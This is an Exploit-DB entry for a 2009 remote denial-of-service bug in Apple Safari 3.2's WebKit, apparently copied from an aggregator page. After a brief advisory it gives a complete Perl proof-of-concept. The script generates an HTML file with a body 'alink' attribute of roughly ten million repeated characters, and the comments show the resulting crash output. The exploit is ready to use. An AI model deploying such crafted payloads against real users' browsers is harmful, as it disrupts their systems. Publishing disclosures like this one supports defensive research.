Apple Safari 3.2 WebKit - 'alink' Property Memory Leak Remote Denial of Service (1)

2009-01-0100:00:00

Jeremy Brown

www.exploit-db.com

AI Score

7.4

Confidence

Low

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source: https://www.securityfocus.com/bid/33080/info

Apple Safari is prone to a denial-of-service vulnerability that resides in the WebKit library.

Remote attackers can exploit this issue to crash the affected browser, denial-of-service condition.

Apple Safari 3.2 running on Microsoft Windows Vista is vulnerable; other versions running on different platforms may also be affected.

Note (December 20, 2010): Safari on iOS 4.0.1 is also vulnerable.

#!/usr/bin/perl
# safari_webkit_ml.pl
# Safari (Webkit) 3.2 Remote Memory Leak Exploit
# Jeremy Brown [[email protected]/jbrownsec.blogspot.com]
# Access violation when writing to [00000018]
# EIP 6B00A02B WebKit.6B00A02B
# LastError 00000008 ERROR_NOT_ENOUGH_MEMORY
# Memory leaks are common in browsers.. tested on Vista SP1
# Compliments of bf2

$filename = $ARGV[0];
if(!defined($filename))
{

     print "Usage: $0 <filename.html>\n";

}

$head = "<html>" . "\n";
$trig = "<body alink=\"" . "A/" x 10000000 . "\">" . "\n";
$foot = "</html>";

$data = $head . $trig . $foot;

     open(FILE, '>' . $filename);
     print FILE $data;
     close(FILE);

exit;